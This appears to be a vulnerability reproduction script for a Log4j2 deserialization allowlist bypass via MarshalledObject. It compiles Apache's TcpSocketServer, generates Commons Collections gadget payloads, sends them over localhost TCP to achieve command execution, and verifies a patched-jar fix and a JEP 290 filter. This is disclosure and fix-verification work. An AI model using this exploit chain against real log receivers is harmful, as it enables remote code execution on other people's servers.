#!/bin/bash
# Production-path reproduction for Apache Log4j2 issue #4255:
# FilteredObjectInputStream allowlist bypass via Log4jLogEvent's
# java.rmi.MarshalledObject carrier, followed by unfiltered inner deserialization.
#
# The receiver is Apache's real logging-log4j-samples product path:
#   TcpSocketServer -> SocketHandler -> ObjectInputStreamLogEventBridge
#   -> FilteredObjectInputStream(socket.getInputStream()).readObject()
# Source is pinned to commit 672a1555c7f5670e7affcc7b9984a90b492eb322,
# the 2.x-compatible log4j-server implementation, and runs with official
# log4j-api/log4j-core 2.26.1 artifacts. No socket/readObject surrogate exists.

set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
JARS="$ART/jars"
CLASSES="$ART/classes"
SAMPLES_CLASSES="$ART/classes-samples"
SAMPLES_SRC="$ART/log4j-server-src"
SRC="$REPRO_DIR/src"
mkdir -p "$LOGS" "$REPRO_DIR" "$JARS" "$CLASSES" "$SAMPLES_CLASSES"
cd "$ROOT"

# This full-session diagnostic remains useful but is never hashed into the runtime
# manifest while tee is active. Per-attempt files are finalized before hashing.
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

SAMPLES_COMMIT="672a1555c7f5670e7affcc7b9984a90b492eb322"
L4J_VERSION="2.26.1"
L4J_COMMIT="dd0f9d255e24e6bcc13bd2641407a409c0524803"
SAMPLES_URL="https://github.com/apache/logging-log4j-samples"
L4J_URL="https://github.com/apache/logging-log4j2"
API_SHA="f1810a4704ccce019d02bba029dc02a4f2ac0c997f647b465e7d409c1927f822"
CORE_SHA="2ec8c3bf5a6d7c89be8620116a2fc973f7dda1ad0261ad393c4d4726edfd3dcb"
API_SRC_SHA="d136436fb50076930f99aa5f45a83c661f71b84c4bb99d08ba3850ff794281bd"
CC_SHA="87363a4c94eaabeefd8b930cb059f66b64c9f7d632862f23de3012da7660047b"
FAIL=0
SERVICE_STARTED=0
HEALTHCHECK_PASSED=0
TARGET_PATH_REACHED=0
RECEIVER_PIDS=""

write_failure_manifest() {
    local note="$1"
    python3 - "$REPRO_DIR/runtime_manifest.json" "$LOGS" "$note" \
        "$SERVICE_STARTED" "$HEALTHCHECK_PASSED" "$TARGET_PATH_REACHED" \
        "${TARGET_DIGEST:-}" "${RUNTIME_DIGEST:-}" <<'PYFAIL'
import hashlib, json, os, sys
path, logs, note, started, healthy, reached, target_digest, runtime_digest = sys.argv[1:]
proof, hashes = [], {}
for name in sorted(os.listdir(logs)):
    if not (name.startswith(("receiver_", "sender_", "tier1_marker_", "tier2_rce_marker_", "generate_", "capability_observation", "negative_control_observation"))
            or name in ("target_identity.txt", "payload_identity.txt", "fix.patch")):
        continue
    full = os.path.join(logs, name)
    if os.path.isfile(full):
        rel = "logs/" + name
        proof.append(rel)
        hashes[rel] = hashlib.sha256(open(full, "rb").read()).hexdigest()
manifest = {
    "entrypoint_kind": "tcp_peer",
    "entrypoint_detail": "org.apache.logging.log4j.server.TcpSocketServer / ObjectInputStreamLogEventBridge TCP receiver",
    "service_started": started == "1",
    "healthcheck_passed": healthy == "1",
    "target_path_reached": reached == "1",
    "runtime_stack": [],
    "proof_artifacts": proof,
    "artifact_sha256": hashes,
    "notes": note,
}
if len(target_digest) == 64 and len(runtime_digest) == 64:
    manifest["target_identity"] = {"repository_url": "https://github.com/apache/logging-log4j2",
        "commit_sha": "dd0f9d255e24e6bcc13bd2641407a409c0524803", "target_digest": target_digest,
        "runtime_digest": runtime_digest, "platform": "linux", "architecture": "x86_64"}
with open(path, "w", encoding="utf-8") as fh:
    json.dump(manifest, fh, indent=2)
PYFAIL
}

CURRENT_PHASE="initialization"
on_err() {
    local rc=$?
    write_failure_manifest "reproduction failed during ${CURRENT_PHASE} (exit $rc); see logs/reproduction_steps.log and any finalized phase logs"
    exit "$rc"
}
cleanup() {
    for p in $RECEIVER_PIDS; do kill "$p" 2>/dev/null || true; done
}
trap on_err ERR
trap cleanup EXIT

# Remove prior per-attempt evidence so a failed run reports only current-run files.
rm -f "$LOGS"/receiver_*.log "$LOGS"/sender_*.log "$LOGS"/tier1_marker_*.txt \
    "$LOGS"/tier2_rce_marker_*.txt "$LOGS"/generate_*.log \
    "$LOGS"/capability_observation*.json "$LOGS"/negative_control_observation.json \
    "$LOGS"/target_identity.txt "$LOGS"/payload_identity.txt "$LOGS"/fix.patch
write_failure_manifest "runtime attempt initialized; no target evidence has been confirmed yet"

echo "=== Log4j2 MarshalledObject FOIS bypass: real TcpSocketServer production path ==="
echo "ROOT=$ROOT"

# ---------------------------------------------------------------- toolchain --
if ! command -v javac >/dev/null 2>&1; then
    echo "[setup] installing OpenJDK"
    sudo apt-get update -qq
    installed=0
    for pkg in openjdk-25-jdk-headless openjdk-21-jdk-headless openjdk-17-jdk-headless; do
        if sudo apt-get install -y -qq "$pkg"; then installed=1; break; fi
    done
    [ "$installed" -eq 1 ] || { echo "[FAIL] unable to install a JDK"; exit 1; }
fi
for tool in java javac jar unzip curl git sha256sum python3 timeout; do
    command -v "$tool" >/dev/null 2>&1 || { echo "[FAIL] required tool missing: $tool"; exit 1; }
done
JAVA_BIN=$(readlink -f "$(command -v java)")
JAVA_HOME_ACTUAL=$(cd "$(dirname "$JAVA_BIN")/.." && pwd)
JAVA_RELEASE="$JAVA_HOME_ACTUAL/release"
JAVA_MODULES="$JAVA_HOME_ACTUAL/lib/modules"
[ -f "$JAVA_RELEASE" ] && [ -f "$JAVA_MODULES" ] || { echo "[FAIL] incomplete JDK runtime"; exit 1; }
JAVA_VERSION=$(java -XshowSettings:properties -version 2>&1 | sed -n 's/^[[:space:]]*java.runtime.version = //p' | head -1)
JAVA_BIN_SHA=$(sha256sum "$JAVA_BIN" | awk '{print $1}')
JAVA_RELEASE_SHA=$(sha256sum "$JAVA_RELEASE" | awk '{print $1}')
JAVA_MODULES_SHA=$(sha256sum "$JAVA_MODULES" | awk '{print $1}')
RUNTIME_DIGEST=$(printf 'java.runtime.version=%s\njava.bin.sha256=%s\njava.release.sha256=%s\njava.modules.sha256=%s\n' \
    "$JAVA_VERSION" "$JAVA_BIN_SHA" "$JAVA_RELEASE_SHA" "$JAVA_MODULES_SHA" | sha256sum | awk '{print $1}')
printf '[identity] java.runtime.version=%s\n[identity] java.bin=%s\n[identity] runtime_digest=%s\n' \
    "$JAVA_VERSION" "$JAVA_BIN" "$RUNTIME_DIGEST"

# ------------------------------------------------------------- dependencies --
download() { # URL DEST SHA256
    if [ -f "$2" ] && [ "$(sha256sum "$2" | awk '{print $1}')" = "$3" ]; then
        echo "[setup] verified cached $(basename "$2")"
        return 0
    fi
    rm -f "$2"
    echo "[setup] downloading $(basename "$2")"
    curl -sfL --retry 3 --connect-timeout 20 --max-time 120 -o "$2" "$1"
    echo "$3  $2" | sha256sum -c - >/dev/null
}
M2="https://repo1.maven.org/maven2"
download "$M2/org/apache/logging/log4j/log4j-api/$L4J_VERSION/log4j-api-$L4J_VERSION.jar" "$JARS/log4j-api-$L4J_VERSION.jar" "$API_SHA"
download "$M2/org/apache/logging/log4j/log4j-core/$L4J_VERSION/log4j-core-$L4J_VERSION.jar" "$JARS/log4j-core-$L4J_VERSION.jar" "$CORE_SHA"
download "$M2/org/apache/logging/log4j/log4j-api/$L4J_VERSION/log4j-api-$L4J_VERSION-sources.jar" "$JARS/log4j-api-$L4J_VERSION-sources.jar" "$API_SRC_SHA"
download "$M2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar" "$JARS/commons-collections-3.2.1.jar" "$CC_SHA"
API_JAR="$JARS/log4j-api-$L4J_VERSION.jar"
CORE_JAR="$JARS/log4j-core-$L4J_VERSION.jar"
CC_JAR="$JARS/commons-collections-3.2.1.jar"

# ------------------------------------------- logging-log4j-samples checkout --
# The required deterministic cache location is <project_cache_dir>/repo when
# project_cache_context.json says prepared=true. Only fall back if unusable.
SAMPLES_REPO=""
CTX="$ROOT/project_cache_context.json"
if [ -f "$CTX" ]; then
    CACHEDIR=$(python3 - "$CTX" <<'PY' 2>/dev/null || true
import json, sys
try:
    data = json.load(open(sys.argv[1], encoding="utf-8"))
    print(data.get("project_cache_dir", "") if data.get("prepared") is True else "")
except Exception:
    pass
PY
)
    if [ -n "${CACHEDIR:-}" ] && [ -d "$CACHEDIR/repo/.git" ]; then
        SAMPLES_REPO="$CACHEDIR/repo"
    fi
fi
if [ -z "$SAMPLES_REPO" ]; then
    SAMPLES_REPO="$ART/logging-log4j-samples"
    [ -d "$SAMPLES_REPO/.git" ] || git clone -q "$SAMPLES_URL" "$SAMPLES_REPO"
fi
if ! git -C "$SAMPLES_REPO" cat-file -e "$SAMPLES_COMMIT^{commit}" 2>/dev/null; then
    git -C "$SAMPLES_REPO" fetch -q origin "$SAMPLES_COMMIT"
fi
SAMPLES_FULL_COMMIT=$(git -C "$SAMPLES_REPO" rev-parse "$SAMPLES_COMMIT")
[ "$SAMPLES_FULL_COMMIT" = "$SAMPLES_COMMIT" ] || { echo "[FAIL] samples source identity mismatch"; exit 1; }
ORIGIN_URL=$(git -C "$SAMPLES_REPO" remote get-url origin)
case "$ORIGIN_URL" in
    "$SAMPLES_URL"|"$SAMPLES_URL.git") ;;
    *) echo "[FAIL] unexpected samples origin: $ORIGIN_URL"; exit 1 ;;
esac
echo "[identity] samples_repository=$SAMPLES_URL"
echo "[identity] samples_commit=$SAMPLES_FULL_COMMIT"

rm -rf "$SAMPLES_SRC"
mkdir -p "$SAMPLES_SRC"
git -C "$SAMPLES_REPO" archive "$SAMPLES_COMMIT" \
    "log4j-server/src/main/java/org/apache/logging/log4j/server" | tar -x -C "$SAMPLES_SRC"
SRV="$SAMPLES_SRC/log4j-server/src/main/java/org/apache/logging/log4j/server"
SERVER_SOURCE_SHA=$(find "$SRV" -type f -name '*.java' -print0 | sort -z | xargs -0 sha256sum | sha256sum | awk '{print $1}')
for f in TcpSocketServer.java ObjectInputStreamLogEventBridge.java AbstractSocketServer.java; do
    [ -s "$SRV/$f" ] || { echo "[FAIL] required product source absent: $f"; exit 1; }
done
grep -q 'logEventInput.wrapStream(socket.getInputStream())' "$SRV/TcpSocketServer.java"
grep -q 'inputStream.readObject()' "$SRV/ObjectInputStreamLogEventBridge.java"
grep -q 'new FilteredObjectInputStream(inputStream, allowedClasses)' "$SRV/ObjectInputStreamLogEventBridge.java"

# ------------------------------------------------- line-accurate fixed jar --
PATCHED_API_JAR="$JARS/log4j-api-$L4J_VERSION-patched-gh4255.jar"
FIXSRC="$ART/fixsrc"
FIXCLS="$ART/fixcls"
rm -rf "$FIXSRC" "$FIXCLS"
mkdir -p "$FIXSRC" "$FIXCLS"
unzip -o -q "$JARS/log4j-api-$L4J_VERSION-sources.jar" \
    "org/apache/logging/log4j/util/internal/SerializationUtil.java" -d "$FIXSRC"
FIXFILE="$FIXSRC/org/apache/logging/log4j/util/internal/SerializationUtil.java"
grep -q '"java.rmi.MarshalledObject",' "$FIXFILE" || { echo "[FAIL] vulnerable allowlist line missing"; exit 1; }
cp "$FIXFILE" "$LOGS/SerializationUtil.vulnerable.java"
sed -i '/\/\/ for Message delegate/d; /"java.rmi.MarshalledObject",/d' "$FIXFILE"
! grep -q 'MarshalledObject' "$FIXFILE" || { echo "[FAIL] fixed source still contains MarshalledObject"; exit 1; }
cp "$FIXFILE" "$LOGS/SerializationUtil.fixed.java"
diff -u "$LOGS/SerializationUtil.vulnerable.java" "$LOGS/SerializationUtil.fixed.java" > "$LOGS/fix.patch" || [ "$?" -eq 1 ]
grep -qE '^-[[:space:]]*"java\.rmi\.MarshalledObject",[[:space:]]*$' "$LOGS/fix.patch" || { echo "[FAIL] fixed diff does not remove expected line"; exit 1; }
javac -nowarn -cp "$API_JAR" -d "$FIXCLS" "$FIXFILE"
cp "$API_JAR" "$PATCHED_API_JAR"
( cd "$FIXCLS" && jar uf "$PATCHED_API_JAR" org/apache/logging/log4j/util/internal/SerializationUtil*.class )
PATCHED_API_SHA=$(sha256sum "$PATCHED_API_JAR" | awk '{print $1}')

# ------------------------------------------------------------------- build --
echo "[build] compiling real Apache log4j-server product classes"
rm -rf "$SAMPLES_CLASSES" "$CLASSES"
mkdir -p "$SAMPLES_CLASSES" "$CLASSES"
javac -nowarn -cp "$API_JAR:$CORE_JAR" -d "$SAMPLES_CLASSES" \
    "$SRV/TcpSocketServer.java" \
    "$SRV/ObjectInputStreamLogEventBridge.java" \
    "$SRV/JsonInputStreamLogEventBridge.java" \
    "$SRV/XmlInputStreamLogEventBridge.java" \
    "$SRV/InputStreamLogEventBridge.java" \
    "$SRV/AbstractSocketServer.java" \
    "$SRV/AbstractLogEventBridge.java" \
    "$SRV/LogEventBridge.java" \
    "$SRV/package-info.java"
CP_VULN="$API_JAR:$CORE_JAR:$CC_JAR"
javac -nowarn -cp "$CP_VULN:$SAMPLES_CLASSES" -d "$CLASSES" \
    "$SRC/poc/Sender.java" "$SRC/poc/GadgetOnly.java" "$SRC/poc/MessageShell.java" "$SRC/poc/SampleReceiverMain.java"
chmod +x "$REPRO_DIR/exec_helper.sh"
SAMPLES_CLASSES_SHA=$(find "$SAMPLES_CLASSES" -type f -name '*.class' -print0 | sort -z | xargs -0 sha256sum | sha256sum | awk '{print $1}')
TARGET_IDENTITY_TEXT=$(printf 'entrypoint=tcp_peer:org.apache.logging.log4j.server.TcpSocketServer/ObjectInputStreamLogEventBridge\nsamples=%s@%s\nsamples.server.source.sha256=%s\nsamples.server.classes.sha256=%s\nlog4j=%s@%s\nlog4j-api-%s.jar.sha256=%s\nlog4j-core-%s.jar.sha256=%s\ncommons-collections-3.2.1.jar.sha256=%s\n' \
    "$SAMPLES_URL" "$SAMPLES_FULL_COMMIT" "$SERVER_SOURCE_SHA" "$SAMPLES_CLASSES_SHA" \
    "$L4J_URL" "$L4J_COMMIT" "$L4J_VERSION" "$API_SHA" "$L4J_VERSION" "$CORE_SHA" "$CC_SHA")
TARGET_DIGEST=$(printf '%s' "$TARGET_IDENTITY_TEXT" | sha256sum | awk '{print $1}')
printf '%s\n' "$TARGET_IDENTITY_TEXT" > "$LOGS/target_identity.txt"
printf 'target_digest=%s\nruntime_digest=%s\npatched_api_sha256=%s\n' "$TARGET_DIGEST" "$RUNTIME_DIGEST" "$PATCHED_API_SHA" >> "$LOGS/target_identity.txt"
echo "[identity] target_digest=$TARGET_DIGEST"

# ------------------------------------------------------------------ helpers --
start_receiver() { # logfile port api-jar [extra JVM args]
    local log="$1" port="$2" api="$3"; shift 3
    rm -f "$log"
    timeout 40s java -Dlog4j2.configurationFile="$REPRO_DIR/log4j2-receiver.xml" "$@" \
        -cp "$SAMPLES_CLASSES:$CLASSES:$api:$CORE_JAR:$CC_JAR" \
        poc.SampleReceiverMain "$port" >"$log" 2>&1 &
    local pid=$!
    RECEIVER_PIDS="$RECEIVER_PIDS $pid"
    for _ in $(seq 1 80); do
        if grep -q "bound to 0.0.0.0" "$log" 2>/dev/null; then
            grep -q "TcpSocketServer=file:$SAMPLES_CLASSES/" "$log" || { echo "[FAIL] real TcpSocketServer CodeSource not observed"; return 1; }
            grep -q "FilteredObjectInputStream=file:$api" "$log" || { echo "[FAIL] selected Log4j API not loaded"; return 1; }
            grep -q "Log4jLogEvent=file:$CORE_JAR" "$log" || { echo "[FAIL] selected Log4j Core not loaded"; return 1; }
            SERVICE_STARTED=1
            return 0
        fi
        kill -0 "$pid" 2>/dev/null || { echo "[FAIL] receiver died"; cat "$log"; return 1; }
        sleep 0.25
    done
    echo "[FAIL] receiver did not bind"; cat "$log"; return 1
}
last_pid() { echo "${RECEIVER_PIDS##* }" | tr -d ' '; }
stop_receiver() {
    local pid="$1"
    kill "$pid" 2>/dev/null || true
    wait "$pid" 2>/dev/null || true
    sleep 0.2
}
wait_for_file() {
    local file="$1"
    local seconds="${2:-10}"
    local loops=$((seconds * 5))
    for _ in $(seq 1 "$loops"); do [ -s "$file" ] && return 0; sleep 0.2; done
    return 1
}
generate_payload() { # mode payload-file generator-log [command]
    local mode="$1" payload="$2" log="$3"; shift 3
    timeout 20s java -cp "$CLASSES:$CP_VULN" poc.Sender generate "$mode" "$payload" "$@" >"$log" 2>&1
}
send_payload() { # payload-file port sender-log
    local payload="$1" port="$2" log="$3"
    timeout 20s java -cp "$CLASSES:$CP_VULN" poc.Sender send 127.0.0.1 "$port" "$payload" >"$log" 2>&1
}
assert_tcp_exchange() { # receiver-log mode
    local log="$1" mode="$2"
    grep -q "Accepted connection" "$log" || return 1
    grep -q "Socket accepted: Socket\[addr=/127.0.0.1" "$log" || return 1
    HEALTHCHECK_PASSED=1
    TARGET_PATH_REACHED=1
    [ "$mode" = "rejected" ] || grep -q "logger=attacker level=INFO msg=benign message" "$log"
}

# Randomized high local port range with isolated receiver instance per attempt.
PORT_BASE=$(( (RANDOM % 15000) + 30000 ))
PAYLOAD_DIR="$ART/payloads"
mkdir -p "$PAYLOAD_DIR"
CONTROL_PAYLOAD="$PAYLOAD_DIR/control.ser"
TIER1_PAYLOAD="$PAYLOAD_DIR/tier1.ser"
TIER2_PAYLOAD="$PAYLOAD_DIR/tier2.ser"
TIER2_MARKER="$LOGS/tier2_rce_marker_shared.txt"
TIER2_TOKEN="RCE-$(date +%s%N)-$RANDOM"
rm -f "$CONTROL_PAYLOAD" "$TIER1_PAYLOAD" "$TIER2_PAYLOAD" "$TIER2_MARKER"
CURRENT_PHASE="payload generation"
generate_payload control "$CONTROL_PAYLOAD" "$LOGS/generate_control.log"
generate_payload tier1 "$TIER1_PAYLOAD" "$LOGS/generate_tier1.log"
generate_payload tier2 "$TIER2_PAYLOAD" "$LOGS/generate_tier2.log" "$REPRO_DIR/exec_helper.sh $TIER2_MARKER $TIER2_TOKEN"
CONTROL_PAYLOAD_SHA=$(sha256sum "$CONTROL_PAYLOAD" | awk '{print $1}')
TIER1_PAYLOAD_SHA=$(sha256sum "$TIER1_PAYLOAD" | awk '{print $1}')
TIER2_PAYLOAD_SHA=$(sha256sum "$TIER2_PAYLOAD" | awk '{print $1}')
printf 'control_payload_sha256=%s\ntier1_payload_sha256=%s\ntier2_payload_sha256=%s\n' \
    "$CONTROL_PAYLOAD_SHA" "$TIER1_PAYLOAD_SHA" "$TIER2_PAYLOAD_SHA" > "$LOGS/payload_identity.txt"

# ------------------------------------------------------ direct control ------
CURRENT_PHASE="direct FOIS control"
echo "=== CONTROL: unwrapped non-allowlisted object is rejected by real FOIS ==="
P=$PORT_BASE
start_receiver "$LOGS/receiver_control.log" "$P" "$API_JAR"
send_payload "$CONTROL_PAYLOAD" "$P" "$LOGS/sender_control.log"
sleep 1
stop_receiver "$(last_pid)"
if assert_tcp_exchange "$LOGS/receiver_control.log" rejected \
        && grep -q "Class is not allowed for deserialization: poc.GadgetOnly" "$LOGS/receiver_control.log"; then
    echo "[PASS] direct control reached TCP/FOIS and was rejected"
else
    echo "[FAIL] direct control did not produce expected FOIS rejection"; cat "$LOGS/receiver_control.log"; FAIL=1
fi

# ------------------------------------------------------- tier 1 bypass ------
CURRENT_PHASE="tier1 MarshalledObject bypass"
echo "=== TIER 1: exact MarshalledObject payload executes non-allowlisted readObject, twice ==="
for i in 1 2; do
    M="$LOGS/tier1_marker_a$i.txt"
    rm -f "$M"
    P=$((PORT_BASE + 10 + i))
    start_receiver "$LOGS/receiver_tier1_a$i.log" "$P" "$API_JAR" "-Dpoc.marker=$M"
    send_payload "$TIER1_PAYLOAD" "$P" "$LOGS/sender_tier1_a$i.log"
    wait_for_file "$M" 10 || true
    sleep 1
    stop_receiver "$(last_pid)"
    if [ -s "$M" ] && grep -q "PWNED-TIER1" "$M" \
            && grep -q "GadgetOnly.readObject() EXECUTED on receiver" "$LOGS/receiver_tier1_a$i.log" \
            && assert_tcp_exchange "$LOGS/receiver_tier1_a$i.log" success \
            && grep -q "replayed exact serialized bytes=$(wc -c < "$TIER1_PAYLOAD")" "$LOGS/sender_tier1_a$i.log"; then
        echo "[PASS] tier1 attempt $i executed arbitrary inner readObject: $(tr -d '\n' < "$M")"
    else
        echo "[FAIL] tier1 attempt $i"; cat "$LOGS/receiver_tier1_a$i.log"; FAIL=1
    fi
done

# ------------------------------------------------------- tier 2 RCE ---------
CURRENT_PHASE="tier2 receiver command execution"
echo "=== TIER 2: one exact Commons Collections payload executes on two receiver instances ==="
for i in 1 2; do
    rm -f "$TIER2_MARKER"
    P=$((PORT_BASE + 20 + i))
    start_receiver "$LOGS/receiver_tier2_a$i.log" "$P" "$API_JAR"
    send_payload "$TIER2_PAYLOAD" "$P" "$LOGS/sender_tier2_a$i.log"
    wait_for_file "$TIER2_MARKER" 15 || true
    sleep 1
    stop_receiver "$(last_pid)"
    M="$LOGS/tier2_rce_marker_a$i.txt"
    rm -f "$M"
    [ -s "$TIER2_MARKER" ] && cp "$TIER2_MARKER" "$M"
    if [ -s "$M" ] && grep -q "^PWNED-TIER2 token=$TIER2_TOKEN .* uid=" "$M" \
            && assert_tcp_exchange "$LOGS/receiver_tier2_a$i.log" success \
            && grep -q "replayed exact serialized bytes=$(wc -c < "$TIER2_PAYLOAD")" "$LOGS/sender_tier2_a$i.log"; then
        echo "[PASS] tier2 attempt $i receiver-side command marker: $(tr -d '\n' < "$M")"
    else
        echo "[FAIL] tier2 attempt $i"; cat "$LOGS/receiver_tier2_a$i.log"; cat "$LOGS/sender_tier2_a$i.log"; FAIL=1
    fi
done

# ------------------------------------------- patched negative control -------
CURRENT_PHASE="patched tier2 negative control"
echo "=== FIXED CONTROL: replay exact same tier2 bytes; patched API rejects them, twice ==="
for i in 1 2; do
    rm -f "$TIER2_MARKER"
    P=$((PORT_BASE + 30 + i))
    start_receiver "$LOGS/receiver_fixed_a$i.log" "$P" "$PATCHED_API_JAR"
    send_payload "$TIER2_PAYLOAD" "$P" "$LOGS/sender_fixed_a$i.log"
    sleep 2
    stop_receiver "$(last_pid)"
    if [ ! -e "$TIER2_MARKER" ] \
            && assert_tcp_exchange "$LOGS/receiver_fixed_a$i.log" rejected \
            && grep -q "Class is not allowed for deserialization: java.rmi.MarshalledObject" "$LOGS/receiver_fixed_a$i.log" \
            && grep -q "replayed exact serialized bytes=$(wc -c < "$TIER2_PAYLOAD")" "$LOGS/sender_fixed_a$i.log"; then
        echo "[PASS] fixed attempt $i reached TCP/FOIS, rejected exact tier2 bytes, and created no RCE marker"
    else
        echo "[FAIL] fixed attempt $i"; ls -la "$TIER2_MARKER" 2>/dev/null || true; cat "$LOGS/receiver_fixed_a$i.log"; FAIL=1
    fi
done

# ------------------------------------------ JEP 290 negative control --------
CURRENT_PHASE="JEP 290 tier2 negative control"
echo "=== MITIGATION CONTROL: global filter rejects exact same tier2 bytes ==="
rm -f "$TIER2_MARKER"
P=$((PORT_BASE + 40))
start_receiver "$LOGS/receiver_mitigation.log" "$P" "$API_JAR" "-Djdk.serialFilter=!java.rmi.MarshalledObject"
send_payload "$TIER2_PAYLOAD" "$P" "$LOGS/sender_mitigation.log"
sleep 2
stop_receiver "$(last_pid)"
if [ ! -e "$TIER2_MARKER" ] \
        && assert_tcp_exchange "$LOGS/receiver_mitigation.log" rejected \
        && grep -qE "filter status: REJECTED|REJECTED" "$LOGS/receiver_mitigation.log"; then
    echo "[PASS] JEP 290 control reached TCP path, rejected exact tier2 bytes, and created no RCE marker"
else
    echo "[FAIL] JEP 290 mitigation control"; ls -la "$TIER2_MARKER" 2>/dev/null || true; cat "$LOGS/receiver_mitigation.log"; FAIL=1
fi
rm -f "$TIER2_MARKER"

# --------------------------------------- strict observation evidence ---------
CURRENT_PHASE="observation generation"
INPUT_SURFACE_SHA="$TIER2_PAYLOAD_SHA"
for i in 1 2; do
    python3 - "$LOGS/capability_observation_a$i.json" "$i" "$TARGET_DIGEST" "$INPUT_SURFACE_SHA" "$LOGS/tier2_rce_marker_a$i.txt" <<'PYOBS'
import json, sys
path, attempt, target, shape, marker_path = sys.argv[1:]
marker = open(marker_path, encoding="utf-8").read().strip()
obj = {"schema_version": 1, "process_instance": "vulnerable-tcp-receiver-a" + attempt,
       "target_identity_sha256": target, "input_surface_sha256": shape,
       "target_path_reached": True, "marker_present": True, "marker": marker}
with open(path, "w", encoding="utf-8") as fh: json.dump(obj, fh, indent=2)
PYOBS
done
python3 - "$LOGS/negative_control_observation.json" "$TARGET_DIGEST" "$PATCHED_API_SHA" "$INPUT_SURFACE_SHA" <<'PYOBS'
import hashlib, json, sys
path, vulnerable_target, patched_api, shape = sys.argv[1:]
fixed_target = hashlib.sha256((vulnerable_target + "|patched-api=" + patched_api).encode()).hexdigest()
obj = {"schema_version": 1, "process_instance": "fixed-tcp-receiver-a1",
       "target_identity_sha256": fixed_target, "input_surface_sha256": shape,
       "target_path_reached": True, "marker_present": False,
       "marker": "PWNED-TIER2 marker intentionally absent for fixed control",
       "rejection": "exact same payload bytes rejected: java.rmi.MarshalledObject not allowlisted"}
with open(path, "w", encoding="utf-8") as fh: json.dump(obj, fh, indent=2)
PYOBS

# ------------------------------------------------------------- manifest -----
CURRENT_PHASE="runtime manifest generation"
ARTS="target_identity.txt payload_identity.txt fix.patch generate_control.log generate_tier1.log generate_tier2.log \
receiver_control.log sender_control.log \
receiver_tier1_a1.log sender_tier1_a1.log tier1_marker_a1.txt \
receiver_tier1_a2.log sender_tier1_a2.log tier1_marker_a2.txt \
receiver_tier2_a1.log sender_tier2_a1.log tier2_rce_marker_a1.txt capability_observation_a1.json \
receiver_tier2_a2.log sender_tier2_a2.log tier2_rce_marker_a2.txt capability_observation_a2.json \
receiver_fixed_a1.log sender_fixed_a1.log receiver_fixed_a2.log sender_fixed_a2.log negative_control_observation.json \
receiver_mitigation.log sender_mitigation.log"
python3 - "$REPRO_DIR/runtime_manifest.json" "$LOGS" "$TARGET_DIGEST" "$RUNTIME_DIGEST" "$FAIL" \
    "$SERVICE_STARTED" "$HEALTHCHECK_PASSED" "$TARGET_PATH_REACHED" \
    "$L4J_COMMIT" "$SAMPLES_FULL_COMMIT" "$SERVER_SOURCE_SHA" "$SAMPLES_CLASSES_SHA" "$API_SHA" "$CORE_SHA" "$CC_SHA" "$JAVA_VERSION" $ARTS <<'PY'
import hashlib, json, os, sys
(manifest_path, logs, target_digest, runtime_digest, fail, service_started, healthcheck, target_reached,
 log4j_commit, samples_commit, server_source_sha, server_classes_sha, api_sha, core_sha, cc_sha,
 java_version, *artifacts) = sys.argv[1:]
failed = fail == "1"
proof, hashes = [], {}
for name in artifacts:
    full = logs + "/" + name
    if not os.path.isfile(full):
        continue
    with open(full, "rb") as fh:
        hashes["logs/" + name] = hashlib.sha256(fh.read()).hexdigest()
    proof.append("logs/" + name)
manifest = {
    "entrypoint_kind": "tcp_peer",
    "entrypoint_detail": ("Production path: org.apache.logging.log4j.server.TcpSocketServer.createSerializedSocketServer() "
        "from apache/logging-log4j-samples@%s accepts localhost TCP and invokes "
        "ObjectInputStreamLogEventBridge -> FilteredObjectInputStream(socket.getInputStream()).readObject(); "
        "Log4j API/Core 2.26.1@%s") % (samples_commit, log4j_commit),
    "service_started": service_started == "1",
    "healthcheck_passed": healthcheck == "1",
    "target_path_reached": target_reached == "1",
    "runtime_stack": [
        "openjdk " + java_version,
        "apache/logging-log4j-samples log4j-server@" + samples_commit,
        "log4j-api-2.26.1 sha256:" + api_sha,
        "log4j-core-2.26.1 sha256:" + core_sha,
        "commons-collections-3.2.1 sha256:" + cc_sha,
    ],
    "target_identity": {
        "repository_url": "https://github.com/apache/logging-log4j2",
        "commit_sha": log4j_commit,
        "target_digest": target_digest,
        "runtime_digest": runtime_digest,
        "platform": "linux",
        "architecture": "x86_64",
        "entrypoint_repository_url": "https://github.com/apache/logging-log4j-samples",
        "entrypoint_commit_sha": samples_commit,
        "entrypoint_source_sha256": server_source_sha,
        "entrypoint_classes_sha256": server_classes_sha,
        "log4j_api_sha256": api_sha,
        "log4j_core_sha256": core_sha,
    },
    "proof_artifacts": proof,
    "artifact_sha256": hashes,
    "notes": ("production-path TCP proof: direct FOIS rejection; MarshalledObject bypass x2; receiver-side "
              "Runtime.exec x2; same tier2 input rejected by patched product x2; JEP 290 mitigation rejected it")
             if not failed else "one or more runtime assertions failed; see logs/reproduction_steps.log",
}
with open(manifest_path, "w", encoding="utf-8") as fh:
    json.dump(manifest, fh, indent=2)
print("[manifest] wrote", manifest_path)
PY

# Validate manifest structure and digest closure before verdict.
python3 - "$REPRO_DIR/runtime_manifest.json" "$ROOT" <<'PY'
import hashlib, json, os, sys
path, root = sys.argv[1:]
obj = json.load(open(path, encoding="utf-8"))
assert obj["entrypoint_kind"] == "tcp_peer"
for rel in obj["proof_artifacts"]:
    full = os.path.join(root, rel)
    assert os.path.isfile(full), rel
    assert hashlib.sha256(open(full, "rb").read()).hexdigest() == obj["artifact_sha256"][rel], rel
for key in ("target_digest", "runtime_digest"):
    value = obj["target_identity"][key]
    assert isinstance(value, str) and len(value) == 64 and all(c in "0123456789abcdef" for c in value)
PY

if [ "$FAIL" -eq 0 ]; then
    echo "RESULT: VULNERABILITY CONFIRMED — production TCP path, RCE x2, patched rejection x2"
    exit 0
fi
echo "RESULT: NOT REPRODUCED"
exit 1
